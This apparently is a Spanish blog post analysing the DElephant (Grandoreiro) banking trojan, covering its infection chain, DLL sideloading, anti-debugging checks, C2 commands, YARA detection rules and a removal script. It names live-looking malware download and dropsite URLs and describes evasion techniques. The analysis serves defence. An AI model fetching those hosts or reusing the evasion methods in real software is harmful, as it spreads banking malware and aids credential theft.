Analizando un troyano DElephant

DElephant es una familia de troyanos que afecta a entidades bancarias. Su modo de actuación, por lo general, consiste en superponer un objeto iframe al formulario de login de la web de la entidad bancaría cuando detecta que el usuario la está visitando. Está escrito en Delphi, contienen imágenes incrustadas en el ejecutable (no realiza hotlinking para montar el iframe) y otros recursos capturados de la propia web de la entidad afectada. Esto hace que el ejecutable final tenga un peso en megas considerable. Se lleva años estudiando este tipo de familias, la mayoría de ellos portan todo tipo de mecanismos de protección para esconder su payload y comportamiento maliciosos de los ojos de los analistas. En el Siguientes analisis se recopila, explora y desarrolla como trabaja Delephant, sus variables y como eliminarlo. Parte de este trabajo está basado en los desarrollos previos de ESET, Incibe e Hispasec.

NombreElephant remote administration trojan
TipoTrojan
DañoSevere
Nombre alternativoElephant remote administration trojan
Nombres de la detecciónAvast (Win32:Malware-gen), BitDefender (Trojan.GenericKD.43991708), ESET-NOD32 (A Variant Of Win32/Injector.EOIY), Kaspersky (HEUR:Backdoor.Win32.Farfli.gen), Microsoft (TrojanDropper:Win32/Dinwod.C!rfn)
SíntomasRemote Access Trojans are designed to stealthily infiltrate the victim’s computer and remain silent, and thus no particular symptoms are clearly visible on an infected machine.
Métodos de distribuciónInfected email attachments, malicious online advertisements, social engineering, software ‘cracks’.
Consecuencias del ataqueStolen passwords and banking information, identity theft, the victim’s computer added to a botnet.

Nombre (Instalador): Archiv.Endes.Fact3101.msi
MD5: 6346c88c0d45779740b526dc7da79fc8
SHA256: 6a3b03e8a8a1edfcf33aebb9d55f81ed274196596a20db875e2ae923d6468bbd
Nombre (DLL Downloader): Binary.Maui.dll
MD5: 20253c20ea35ec595c5577604f8a2730
SHA256: 58084c86acd68c83d84802ef8daa9cdfefdcf34d7fa1b9a0e04c4ca124e58382
Nombre (DLL Troyano): dbghelp.dll
MD5: 98ef8e5ef3bef928537d4fd25c53380a
SHA256: 35c0744bec0e123d24a9ffd3d7a9edeb07d9341ab45619b5fc881ce7dd81276a

Vías de infección

El proceso más habitual de infección con el troyano consta de varias etapas; comienza con un correo recibido por el usuario, que contiene una URL de acceso a una página fraudulenta. Accediendo al enlace proveniente del correo, el usuario descargará el primer elemento del proceso. Se trata de un fichero instalador que, a su vez, descargará la carga útil que contiene el troyano bancario. Sin bien es cierto, en alguna ocasión pueden llegar como adjuntos al correo electrónico.

Lenguaje de programación, funcionalidades y modo de actuación

También llamado Grandoreiro en un troyano bancario cuyo nombre fue dado debido al gran volumen de los binarios generados por los atacantes, siendo superiores a 250 MB. Este hecho dificultaba el análisis en las diferentes plataformas o sandboxes online, ya que superaba con creces el límite permitido.

En el compromiso del usuario intervienen varios binarios. Se parte del binario inicial que es descargado por la víctima. Se trata de un fichero comprimido que alberga un instalador. Dentro del mismo (extensión msi) se encuentra la dll (sha256sum: 58084c86acd68c83d84802ef8daa9cdfefdcf34d7fa1b9a0e04c4ca124e58382) maliciosa que actúa de downloader (malware que descarga desde Internet la amenaza en el equipo de la víctima). Este binario está programado en Delphi y compilado con Borland Delphi 7.

La segunda dll (sha256sum: 35c0744bec0e123d24a9ffd3d7a9edeb07d9341ab45619b5fc881ce7dd81276a) y de la que se hablará más adelante en el estudio, sería la perteneciente a la familia de Delephant. Como la anterior, programada en Delphi y compilado con Borland Delphi 7.

En este caso, se trata de un fichero comprimido. Dentro del mismo se encuentra un instalador (msi), que será el encargado de descargar la parte útil (payload) que contiene el troyano bancario. En la dll embebida, se observa dónde se ubica la URL y dónde se encuentra la carga útil, que se encuentra cifrada para no ser detectada desde un principio por herramientas de análisis.

En este caso, se trata de un fichero comprimido. Dentro del mismo se encuentra un instalador (msi), que será el encargado de descargar la parte útil (payload) que contiene el troyano bancario. En la dll embebida, se observa dónde se ubica la URL y dónde se encuentra la carga útil, que se encuentra cifrada para no ser detectada desde un principio por herramientas de análisis.

Pero antes, se comprueba el lenguaje del usuario, no aceptando usuarios con lenguaje en inglés, de ser así finaliza el proceso. De esta manera, se aseguran de que el destinatario esté entre sus objetivos, y evitarían que se ejecutara de forma usual en cualquier plataforma de tipo sandbox cuyo lenguaje sea el inglés.

Una vez dispone la URL en el formato correcto, eliminando caracteres de relleno, descarga el fichero que se muestra a continuación.

La dll se encarga de descargarlo y completar el código para que pueda ser descomprimido posteriormente en la ruta esperada. Los atacantes se aseguran de que en el servidor se registre el lenguaje del usuario, ya que está destinado a usuarios españoles. Añaden el lenguaje a la URL y utilizan la función de la API URLDownloadToFile:  URLDownloadToFile(http://149.56.251.1:51551/esgrime.zip?Español (España,internacional), C:\Users\<usuario>\AppData\Roaming\nowview\AX3346546774.zip) Siendo C:\Users\<usuario>\AppData\Roaming\nowview\AX3346546774.zip la ruta donde será almacenado.

Después de varias operaciones matemáticas basadas en XOR, se genera un fichero zip en donde ya puede ser descomprimido quedando la dll ubicada junto al ejecutable (y otras 2 dll que necesita dicho ejecutable) que será el encargado de lanzar el proceso de infección. Se descifra el contenido del fichero descargado para descomprimirlo después, dejando una serie de ficheros en el directorio.

La dll maliciosa es dbghelp.dll, que será cargada como una dll más por el ejecutable solodriver.exe al encontrarse ubicada en el mismo directorio, este es el primer lugar en donde será buscada haciendo caso omiso a la legítima del sistema. La aplicación solodriver.exe es parte del software Advanced Installer 18.6.1 y es llamada intune.exe.

Por lo tanto, utilizan una aplicación legítima para cargar la dll maliciosa y esta es la que se encarga de controlar que la ventana de la aplicación principal no se vea, que permanezca oculta, aunque en el momento de ejecutarse se muestre brevemente antes de ocultarse. Si se elimina la dll maliciosa del mismo directorio donde se encuentra solodriver.exe y se ejecuta este, podemos visualizar su aspecto real, el que oculta el troyano controlando las ventanas existentes en ejecución.

Aparentemente, cualquier acción que desencadene la dll parecerá que lo realiza solodriver.exe, ya que ésta se encuentra en la memoria del ejecutable como otra dll más.

La biblioteca dinámica dbghelp.dll tiene un tamaño considerable, 255M, lo que dificulta el análisis por parte de ciertas aplicaciones, ya que en muchos casos están limitados a binarios más pequeños, como es el caso de muchas de las plataformas de análisis de malware online. Abriendo el fichero con un editor de recursos se deduce por qué es tan grande: existen 2 imágenes similares colocadas dentro, de tipo ISO.

La primera, MBJDJDBHWDX.bmp, ocupa 128 MB mientras que la segunda, ZCCFMYWMGGO.bmp, pesa 118 MB. Como la campaña va destinada a usuarios de España y Portugal, busca que la configuración del lenguaje sea del país.

Se observa el uso del componente RTC Portal. Este componente está diseñado especialmente para control remoto de escritorio, intercambio de ficheros y aplicaciones de tipo chat. Como en su propia página web puede leerse:

“RealThinClient SDK es un marco flexible y modular para crear aplicaciones multiplataforma confiables y escalables con Delphi, diseñado para la Web mediante el uso de HTTP/S con compatibilidad completa con IPv4 e IPv6 y subprocesos múltiples incorporados, ampliamente probado para garantizar la máxima estabilidad. Mediante el uso de comunicación basada en eventos sin bloqueo con agrupación de subprocesos integrada, las aplicaciones creadas con RealThinClient SDK pueden manejar miles de conexiones activas mediante el uso de una cantidad limitada de subprocesos en un entorno real de subprocesos múltiples, en todas las plataformas compatibles.”

Cuando se inicia la aplicación se crean una serie de timers que irán comprobando de forma periódica lo que está ocurriendo en el equipo, además de ocultar la aplicación que se utiliza para la carga de la dll.

Primero busca con la API FindWindowA la ventana con el título “Visual Studio Ultimate” y si la encuentra, utiliza su manejador o handle para ocultarla con ShowWindow.

Otro de los procesos periódicos consiste en comprobar que se accede a los bancos, se busca una serie de cadenas en las ventanas activas. Ventanas buscadas asociadas a los bancos españoles:

Ventanas buscadas asociadas a los bancos portugueses:

No todas las cadenas se encuentran accesibles directamente en el binario, sino que cuando se necesitan, se descifran siguiendo un algoritmo basado en XOR. Para ello se tiene en cuenta la cadena cifrada con una clave. Se recorre la cadena y va realizando operaciones carácter a carácter teniendo en cuenta su posición actual y la anterior entre ambas.

Algoritmo de descifrado de las cadenas:

Cadena a descifrar y clave que utiliza:

Ejemplo de algunas de las palabras relacionadas con los bancos a suplantar:

Si encuentra alguna de ellas en los procesos en ejecución, se prepara para la generación de los dominios dinámicos a consultar. Antes ejecuta el comando “ipconfig /flushdns” para limpiar la caché DNS.

Después, utilizando una base de 11 dominios predefinidos, genera los dominios dinámicos finales según el Algoritmo Generador de Dominios (DGA)

Por lo tanto, se generan de esta forma 80 dominios dinámicos distintos

Una vez finalizado el proceso, obtiene el nombre del PC y descifra una de las cadenas que necesita para informar al Command and Control. Estas cadenas se encuentran cifradas dentro del binario.

Cada país tiene asociado un identificador (7236), cuando detecta que se está visitando alguno de ellos le asocia su valor correspondiente para informar de ello.

En la figura se presenta un ejemplo de los datos que serán enviados. Se ha ofuscado el nombre del equipo afectado.

Esta comunicación se realiza con el componente RTC citado anteriormente.

Otras de las funcionalidades principales de este troyano son las siguientes:

n Dispone de capacidad para actualizar la dll maliciosa. Para ello, se utiliza la palabra UpdateDLLMODULO. Este proceso descargaría un fichero zip con el mismo nombre que la dll, lo descomprime después y detiene el proceso para arrancarlo posteriormente. Para poderlo realizar se crea un fichero bat llamado cookie.bat y se le añade las acciones que se han comentado.

n Tiene capacidad de desconectar a la víctima, con el código SUSPENDEACESSO, de reiniciar la máquina, código REINICIAGERAL, o reiniciar el propio troyano, código Rein1c1aSystem

Proceso de reinicio de la máquina

Zona de envío de comando de reinicio del troyano

Dispone de capacidad para obtener información del cursor (código EXIBIRMZ).

Y de controlar el cursor del usuario (código OCULTARMZ).

Puede crear un fichero a modo de registro, con el código CRIARCADASTRO, llamado UPAK.BIN

Tiene la capacidad de crear un registro de la actividad, con el código MARCARPC, en un log llamado lz.log.

Puede eliminar con el código DEL3TARMARC0AO el fichero lz.log, a modo de log mencionado anteriormente, en la misma ruta del ejecutable.

Permite buscar en los procesos de la memoria con el código DETONARPROCESO.

Tiene la capacidad de realizar capturas de pantalla, con los códigos ATIVARCAPTURAMAG y ATIVARCAPTURAFULL. La diferencia está en cómo realiza esta acción: si los sistemas operativos son Windows 10, 8.1 y Server, entonces hace uso de la DLL MAG “Magnification”, en caso contrario utiliza la opción FULL.

Puede desactivar la barra de desplazamiento con el código DISABLESCROOL

Realiza tanto un borrado de todo el directorio donde se ubica el troyano, con el código DELETEAKL, como la clave de registro, como si nunca hubiese existido

Por lo tanto, es posible manipular las ventanas abiertas por el usuario, capturar pulsaciones de teclado y simular acciones del mismo y del ratón. A la vez que controlar la navegación del usuario o bloquear el acceso a los sitios web elegidos por el atacante. Se asegura la persistencia creando un acceso directo hacia él en la clave de registro HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Uvnerjnx (esta clave puede variar según la muestra), apuntando a C:\users\<usuario>\appdata\roaming\nowview\solodriver.exe (al igual que el nombre del ejecutable y su ruta, puede ser diferente en otras muestras)

Zona de escritura de clave de registro para persistencia

De este modo, cada vez que se reinicie el equipo, el troyano será ejecutado y podrá continuar recolectando y utilizando información que pueda necesitar para comunicarse con el C&C.

Otro caso de estudio

Un caso visto hace poco fue documentado por la distribución de este troyano en la boleta de la luz.

Este es el archivo: Archivo.EndesaFacturnopagoRef09-07-2022.MSI Este tipo de ficheros (MSI) se pueden descomprimir a un directorio y tendremos todo el contenido:

Una vez dentro, nos fijamos en ficheros ejecutables (exe, dll, etc.) y scripts varios (bat, py, ps1, etc.)

Una vez localizada la URL, procedemos a descargarla. El fichero descargado no tiene un formato adecuado, todavía, ese es el trabajo de la DLL, dejarlo de tal forma que pueda ser descomprimido.

Y el contenido del ZIP

Un fichero EXE y 3 DLL. dbghelp.dll se compiló el 12 de  julio de 2022, hace muy poco, por lo que se intuye que esta podría tener algo interesante. Otra cosa es el tamaño, casi 300 megas, mucho ¿verdad? Es una medida de protección ante cualquier sandbox online que permitan un tamaño limitado. Al renombrar esa DLL para que no sea cargada al ejecutar el EXE sucede esto:

Nos carga una aplicación legítima “Visual Web Developer Express”, sin más. Entonces podemos pensar que gracias a DLL Hijacking, sería cargada esa DLL (que hemos renombrado) y ejecutada por el EXE.

Vemos en el Process Monitor como es así, dbghelp.dll es buscada antes en el PATH donde se encuentra el EXE que en su lugar esperado (directorio del sistema), por lo que se cargará antes. También, esa DLL, se podría haber llamado VERSION.DLL, dwmapi.dll o imageres.dll, por poner algún ejemplo más, y se hubieran cargado igualmente. La DLL también está compilada en DELPHI, coinciden tanto el downloader como el troyano.

Y si echamos un vistazo al contenido de la DLL veremos porqué es tan grande, como ya habíamos visto es debido a esas 2 imágenes incluidas dentro de los archivos de recursos:

En los casos en los que analizamos programas en DELPHI, es mejor utilizar la herramienta “Interective Delphi Reconstructor”, es el que más información da sobre el binario. Podemos ver hasta el aspecto de la aplicación.

Los diferentes ficheros “unit” y su contenido según funciones de llamadas a API.

Para asegurarnos de lo que estamos viendo, buscamos las strings o cadenas que nos parezcan interesantes:

Y aquí las tenemos, los bancos a los que está destinados este troyano bancario que según lo que vemos corresponde con DElephant. Parece que, además de España y Portugal, se le ha añadido Argentina como posible objetivo.

Analizando un troyano DElephant no detectado

Podemos ver la captura del análisis del dropper y el troyano en Virustotal:

El ejemplar estudiado afecta a entidades bancarias brasileñas, su procedencia es igualmente de dicho país. El método de infección es bastante común. Una vez el usuario ejecuta el dropper, este descarga un archivo en formato ZIP cifrado. Este archivo contiene al troyano en sí. El mismo dropper se encarga de descifrar y ejecutar el troyano. Esta estrategia permite bajar el ratio de detección al ocultarse el comportamiento maligno hasta que el troyano es ejecutado.

Existen dos tipos de dropper, aquellos que contienen la parte maliciosa cifrada en su interior y un segundo tipo que descarga dicha parte desde un servidor remoto. Además, una gran parte de estos mecanismos contiene rutinas de detección de máquinas virtuales, debuggers, etc.

En particular este ejemplar realiza las siguientes comprobaciones:

  1. Usa la función de la API de Windows “IsDebuggerPresent” para conocer si su proceso está siendo debugueado.
  2. Usa la interrupción software INT 2F con el registro EBX a 0x0202 para verificar la presencia del driver usado por WINICE.
  3. Usa la interrupción software INT 68h para comprobar si está corriendo el antiguo debugger SOFTICE, algo curioso ya que este debugger está prácticamente en desuso.
  4. Ejecuta una curiosa y siniestra instrucción: “vpcext 7, 0Bh”. Hay pocas referencias a esta instrucción. Básicamente pertenecen a Virtual PC de Microsoft y su uso en este contexto tendría dos funcionalidades hipotéticas: Detener un debugger o detectar la presencia de Virtual PC. Solo IDA es capaz de desensamblarla, Ollydbg no es capaz de traducirla. Un procesador real o un sistema de virtualización diferente a Virtual PC produciría una interrupción de instrucción ilegal.
  5. También usa las funciones de la API de Windows “FindWindow” y “GetWindowText”. Algo presente hasta en los crackmes más sencillos. Dichas funciones se usan para buscar cadenas que contengan: “Ollydbg”, “DBG”, “DEBUG”, “IDA”, “W32DSM”.
  6. El dropper también comprueba la presencia del software “ProcessExplorer” de Sysinternals. Un navegador avanzado de procesos activos.

En la primera captura vemos el desensamblado de IDA, en la segunda la de Ollydbg.

Podemos ver en la siguiente imagen la sucesión de rutinas de comprobación de mecanismos de virtualización y depuración:

Si el proceso pasa todas esas pruebas el dropper entiende que no se está ejecutando en un ambiente virtual o de laboratorio y prosigue con la ejecución. El siguiente paso es hacer una petición HTTP para descargar el archivo ZIP cifrado que comentamos arriba. Esta petición se realiza al sitio web www.4shared.com y como curiosidad el dropper no conseguirá descarga el archivo ya que dicho sitio requiere de una cuenta de usuario. El dropper no contiene dicho mecanismo por lo que la petición no se efectuará y el dropper se detendrá en este punto.

Hemos descargado el ejemplar manualmente desde el sitio al que intenta acceder el dropper, posteriormente hablaremos del análisis de este componente. Si el dropper consigue descargar el archivo, utiliza la llamada (Delphi) “Sysutils::GetEnvironmentVariable(System::AnsiString)” sobre la variable de entorno “LOCALAPPDATA”. Curiosamente esta variable está definida a partir de Windows Vista por lo que el malware no funcionará en Windows XP al no poder construir una ruta correcta. Hemos parcheado el código para que guarde el troyano directamente en la raíz: C:\HIJ8.zip

El siguiente paso que realiza el dropper es descifrar el archivo zip. El algoritmo de cifrado es un simple XOR por lo que no tiene mucha dificultad dar con la llave. Esta podemos encontrarla cargada en el registro AL justo antes de entrar en la rutina de descifrado. Podemos ver la rutina en la siguiente captura:

Obteniendo la llave podemos aplicar una operación XOR sobre el ZIP cifrado y obtener un archivo que podemos descomprimir directamente. El contenido es el que se muestra a continuación:

Dicho contenido es depositado por el dropper en la ruta “c:\WINDOWS\System32”. La descripción de los archivos es la siguiente:

  1. El archivo DDD5.txt contiene la cadena “dc8944gr88hr89hjr”, no concluyo cual es su funcionalidad.
  2. El ejecutable gforceudp.exe es el módulo de actualización del troyano. Este ejecutable realiza una llamada a la URL http://flordeliskm26.com.br/SSH/1769.txt (aun activa a fecha de hoy). Dicho archivo contiene una cadena cifrada que contiene la dirección de la última versión del ejecutable DElephant y la ruta en disco donde depositar la actualización: c:\WINDOWS\SYSTEM32\BLACKUP.ZIP. Curiosamente el droper también falla cuando descifra la cadena del dropsite por lo que se ha descifrado de manera manual.
  3. El programa Taskcall.exe es el DElephant. Podemos observar el peso significativo del ejecutable que llega a los 3Mb. Dentro contiene toda una colección de imágenes y recursos para inyectar el formulario falso en el navegador. Este ejecutable no era detectado por ningún motor antivirus en el momento del análisis.
  4. La dll HookMZ.dll exporta dos funciones: Run_Hook y Kill_Hook para sniffar los eventos del ratón. Esto es usado por el troyano para registrar los movimientos del ratón sobre el teclado virtual de la web del banco.
  5. Finalmente, el archivo Config.bak contiene la ruta del dropsite, un recurso en la red donde el troyano va a depositar los datos robados. Dicho archivo está cifrado.

El ejecutable está a su vez comprimido llegando a los 26Mb una vez se descomprime. He extraído las imágenes con el programa Foremost que nos permite extraer estos recursos del cuerpo del ejecutable. Podemos ver un par de imágenes de formularios falsos de entidades bancarias:

Cuando el troyano detecta que la víctima está visitando uno de los sitios para los que el troyano está preparado inyecta un formulario falso y recoge los datos robados. Esos datos son depositados en el recurso apuntado por Config.bak. Como dijimos este archivo contiene una cadena con la dirección del recurso cifrada. El cifrado vuelve a ser trivial: un algoritmo XOR cuya llave es el carácter “0xDC”. El dropsite en el momento del análisis apuntaba a www.photoscape.us/1020.txt pero desafortunadamente no estaba activo.

El ejemplar no contiene realmente mecanismos sofisticados. Incluso podríamos calificarlo de “sencillo”. El esquema de doble articulación: dropper para la campaña de infección y módulo de troyanización para la extracción de datos y persistencia de la infección es tradicional. No aporta resortes novedosos de detección de virtualización o análisis o cifrado complicados de revertir. Sin embargo, lo que si llama la atención es que la muestra no haya sido detectada por ninguno de los motores antivirus en Virustotal previamente al análisis. Los hashes de los archivos analizados:

SHA256 del dropper: d8d11c657fd2c7c71cbadb2cace5e18ff9c87516bea9044a91cdc4fba107259a
SHA256 del DElephant: f5bab65dce3be4c094ea840840ac37437f56c0aa916cb016d53d1b5769329c27

Métodos de protección del troyano DElephant

El troyano DElephant trata de protegerse de software destinado a evitar este tipo de amenazas muy utilizado en Latinoamérica, como son IBM Trusteer y Warsaw Diebold.

Una medida estándar que multitud de troyanos utilizan es saber si están siendo depurados, gracias a la API de Windows IsDebuggerPresent.

La técnica de ofuscación de binarios maliciosos con el fin de pasar desapercibidos empleada por DElephant, que trata de engrosar el binario para evitar que plataformas de análisis de malware online puedan analizarlo, debido a una limitación del tamaño de envío, se conoce como binary padding.

Su relleno se realiza con imágenes grandes sin un propósito distinto que hacer el binario de un tamaño considerable dificultando el análisis. El uso de aplicaciones legítimas y firmadas cargando la dll con un nombre legítimo y existente en el sistema operativo, pero en el mismo directorio que el ejecutable (el primero en la ruta de carga de dll), que hace que se cargue antes que la esperada, hace que la detección sea más dificultosa.

Recomendaciones

  • Ignorar los correos electrónicos irrelevantes y los que se envían desde una dirección desconocida o contienen un archivo adjunto (o un enlace a un sitio web) y no abrir los archivos o enlaces web que se presentan en estos correos sin tener claro de que es seguro hacerlo.
  • Descargar software solamente de los sitios web oficiales y a través de los enlaces de descarga directa.
  • Actualizar los programas instalados a través de las funciones implementadas o de las herramientas que proporcionan los desarrolladores oficiales de software. Lo mismo se aplica a la activación.  Analizar regularmente el sistema operativo en busca de amenazas con una suite antivirus o antispyware de confianza y mantenga este software actualizado.

Les dejo las siguientes reglas Yara que detectan las versiones de dll de las que se ha hablado en el estudio, tanto el downloader como el propio troyano:

rule DElephant_Banker_Downloader
{
meta:
author = "INCIBE-CERT"
description = "Detecta el Downloader del troyano bancario DElephant"
strings:
$delphidll1 = { BA ?? ?? ?? ?? 83 7D 0C 01 75 ?? 50 52 C6 05 ?? ?? ?? ?? ?? 8B 4D 08 89 0D ??
?? ?? ?? 89 4A 04 }
$delphidll2 = { 55 8B EC 83 C4 ?? B8 ?? ?? ?? ?? E8 ?? ?? FF FF E8 ?? ?? FF FF 8D 40 00 }
$str1 = " 2001, 2002 Mike Lischke"
$str2 = "8$4,6-9'$6.:*?#1pHhX~AeSlZrNbS"
$str3 = "Archive already has SFX stub"
$str4 = "Deflate64 compression method is not supported"
$str5 = "Delphi Component"
$str6 = "EDecompressionErrorneed dictionary"
$str7 = "MakeSFX error"
$str8 = "Runtime error at 00000000"
$str9 = "Web site: http://www.componentace.com"
$str10 = "ScreenToClient"
$str11 = "SFXStub property is not specified"
$str12 = "System\\CurrentControlSet\\Control\\Keyboard Layouts\\%.8x"
$str13 = "SystemParametersInfoA"
$str14 = "TAESCryptoTransform"
$str15 = "TGetSiteInfoEvent"
$str16 = "$TMultiReadExclusiveWriteSynchronizer"
$str17 = "to create a commercial product, please register and download"
$str18 = "URLDownloadToFileA"
$str19 = "VerLanguageNameA"
$str20 = "WndProcPtr%.8X%.8X"
$str21 = "you that your Personal Edition is provided for personal usage only."
$str22 = "Zip64Mode"
condition:
uint16(0) == 0x5A4D // MZ
and uint16(uint32(0x3C)+0x18) == 0x010B //MZ header en 0x3C
and (uint16(uint32(0x3C)+0x16) & 0x2000) == 0x2000 //PE DLL signature
and any of ($delphidll*)
and all of ($str*)
and (filesize > 1400KB and filesize < 3000KB)
} 
rule DElephant_Banker_Trojan
{
meta:
author = "INCIBE-CERT"
description = "Detecta el troyano bancario DElephant"
strings:
$mzp = "MZP"
$str1 = "yIdIOHandlerSocket"
$str2 = "ATIVARCAPTURAFULL"
$str3 = "ATIVARCAPTURAMAG"
$str4 = "AutoSessionsPingT"
$str5 = "v4.09 (2013.Q2)"
$str6 = "CallNextHookEx"
$str7 = "Cap.DfbBackingMode"
$str8 = "CryptPlugin.AfterDisconnect"
$str9 = "deflate 1.1.4 Copyright 1995-2002 Jean-loup Gailly"
$str10 = "DELETAKL"
$str11 = "DETONAPROCESSO"
$str12 = "EXIBIRMZ"
$str13 = "Gate_CryptPlugin"
$str14 = "GetType method not available for TRtcDataRow"
$str15 = "GUploadAnywhere_Super"
$str16 = ".hopto.org"
$str17 = "Magnification.dll"
$str18 = "<member><name>RTC.DATASET.ROWS</name>"
$str19 = "Portable network graphics (AlphaControls)"
$str20 = "RemoteThreadCallbacks TRtcThreadCallback.DestroyCallback"
$str21 = "SUSPENDEACESSO"
$str22 = "ZDecompress_str.InflateInit"
condition:
$mzp at 0
and all of ($str*)
and (filesize > 140000KB and filesize < 400000KB)
} 

Estas variantes van cambiando según salen nuevas funcionalidades o reglas yara que las identifican para tratar de pasar desapercibido. Como es el caso de esta muestra de la variable Argentina, modifican su código para evitar detecciones. Voy a cambiar el valor de all a 20 “and all of ($str*)”:

rule Grandoreiro_Banker_Trojan
{ 
  meta: 
    author =  "INCIBE-CERT" 
    description = "Detecta el troyano bancario Grandoreiro - modificada" 
  strings:
    $mzp = "MZP"
    $str1 = "yIdIOHandlerSocket"
    $str2 = "ATIVARCAPTURAFULL"
    $str3 = "ATIVARCAPTURAMAG"
    $str4 = "AutoSessionsPingT"
    $str5 = "v4.09 (2013.Q2)"
    $str6 = "CallNextHookEx"
    $str7 = "Cap.DfbBackingMode"
    $str8 = "CryptPlugin.AfterDisconnect"
    $str9 = "deflate 1.1.4 Copyright 1995-2002 Jean-loup Gailly"
    $str10 = "DELETAKL"
    $str11 = "DETONAPROCESSO"
    $str12 = "EXIBIRMZ"
    $str13 = "Gate_CryptPlugin"
    $str14 = "GetType method not available for TRtcDataRow"
    $str15 = "GUploadAnywhere_Super"
    $str16 = ".hopto.org"
    $str17 = "Magnification.dll"
    $str18 = "<member><name>RTC.DATASET.ROWS</name>"
    $str19 = "Portable network graphics (AlphaControls)"
    $str20 = "RemoteThreadCallbacks TRtcThreadCallback.DestroyCallback"
    $str21 = "SUSPENDEACESSO"
    $str22 = "ZDecompress_str.InflateInit"
  condition:
    $mzp at 0
    and 20 of ($str*)
    and (filesize > 140000KB and filesize < 400000KB)
}
Con el tema de los downloaders, la cosa se complica ya que se puede descargar de cualquier manera, por lo que se puede variar mucho su código y si utilizas una versión de DELPHI más actual, pues más todavía. Una detección de hace 3 meses puede no ser efectiva a día de hoy. Aprovechando la yara que aparece en el post de INCIBE voy a añadir varias líneas más y cambiar el número de las detecciones para las cadenas.
rule Grandoreiro_Banker_Downloader
{ 
  meta: 
    author =  "INCIBE-CERT" 
    description = "Detecta el Downloader del troyano bancario Grandoreiro - actualizada" 
  strings:
    $delphidll1 = { BA ?? ?? ?? ?? 83 7D 0C 01 75 ?? 50 52 C6 05 ?? ?? ?? ?? ?? 8B 4D 08 89 0D ?? ?? ?? ?? 89 4A 04 }
    $delphidll2 = { 55 8B EC 83 C4 ?? B8 ?? ?? ?? ?? E8 ?? ?? FF FF E8 ?? ?? FF FF 8D 40 00 }
    $str1 = " 2001, 2002 Mike Lischke"
    $str2 = "8$4,6-9'$6.:*?#1pHhX~AeSlZrNbS"
    $str3 = "Archive already has SFX stub"
    $str4 = "Deflate64 compression method is not supported"
    $str5 = "Delphi Component"
    $str6 = "EDecompressionErrorneed dictionary"
    $str7 = "MakeSFX error"
    $str8 = "Runtime error     at 00000000"
    $str9 = "Web site: http://www.componentace.com"
    $str10 = "ScreenToClient"
    $str11 = "SFXStub property is not specified"
    $str12 = "System\\CurrentControlSet\\Control\\Keyboard Layouts\\%.8x"
    $str13 = "SystemParametersInfoA"
    $str14 = "TAESCryptoTransform"
    $str15 = "TGetSiteInfoEvent"
    $str16 = "$TMultiReadExclusiveWriteSynchronizer"
    $str17 = "to create a commercial product, please register and download"
    $str18 = "URLDownloadToFileA"
    $str19 = "VerLanguageNameA"
    $str20 = "WndProcPtr%.8X%.8X"
    $str21 = "you that your Personal Edition is provided for personal usage only."
    $str22 = "Zip64Mode"
    $str23 = "System\\CurrentControlSet\\Control\\Keyboard Layouts\\%.8x" wide
    $str24 = "Imploded(TERSE)" wide
    $str25 = "PPMd version I, Rev 1" wide
    $str26 = "\\Software\\Embarcadero\\FireDAC" wide
    $str27 = "%d.%d.%d (Build %d)%s" wide
    $str28 = "#32770" wide
    $str29 = "EXECUTE PROCEDURE sp_mgGetInstallInfo()" wide
    $str30 = "Found [%s]GWarning: The client [%s] and server [%s] major versions difference > 1." wide
    $str31 = "Windows Server 2008	Windows 7" wide
    $str32 = "Windows Server 2016	Windows 8" wide
    $str33 = "Row deleting disabled+Application must have only single FDManager" wide
    $str34 = "(Version %1:d.%2:d, Build %3:d, %5:s)" wide
  condition:
    uint16(0) == 0x5A4D // MZ
    and uint16(uint32(0x3C)+0x18) == 0x010B //MZ header en 0x3C
    and (uint16(uint32(0x3C)+0x16) & 0x2000) == 0x2000 //PE DLL signature
    and any of ($delphidll*)
    and 15 of ($str*)
    and (filesize > 1400KB and filesize < 5000KB)
}

Vemos que funciona.

$ yara grandoreiro_incibe.yar . 
Grandoreiro_Banker_Downloader ./Binary.Velholpn.dll
Grandoreiro_Banker_Trojan ./dbghelp.dll

Existen multitud de antivirus que detectan la amenaza, por lo que sería conveniente disponer de uno actualizado, así como herramientas antispam. En los casos en los que el primer contacto es un documento ofimático de Microsoft Office, desactivar la ejecución automática de macros, y, sobre todo, desconfiar de remitentes desconocidos y no instalar archivos de fuentes no fiables Para su desinfección, es necesario borrar la clave de registro asociada a la persistencia.

En el caso de la muestra analizada, la clave de registro es Uvnerjnx, sin embargo, no siempre es el mismo nombre, puede variar. Además de detener el ejecutable que utiliza la dll ya que de intentarlo sin haber realizado esta acción podría fallar, ya que la dll del troyano estaría en uso. Por lo tanto, el siguiente script es válido cuando coincide la clave de registro, ruta y nombre del ejecutable. Para otros casos será necesario cambiar estos valores por los adecuados.

Clave=”Uvnerjnx”
Ejecutable=”solodriver.exe”
Directorio=”nowview”
reg delete
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run /v
%Clave% /f
taskkill /f /im %Ejecutable%
del /F %APPDATA%\%Directorio%\*.exe
del /F %APPDATA%\%Directorio%\*.dll
rmdir /s /q %APPDATA%\%Directorio%

Saludos y nos vemos en el próximo análisis.

Deja un comentario

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *

4 × cinco =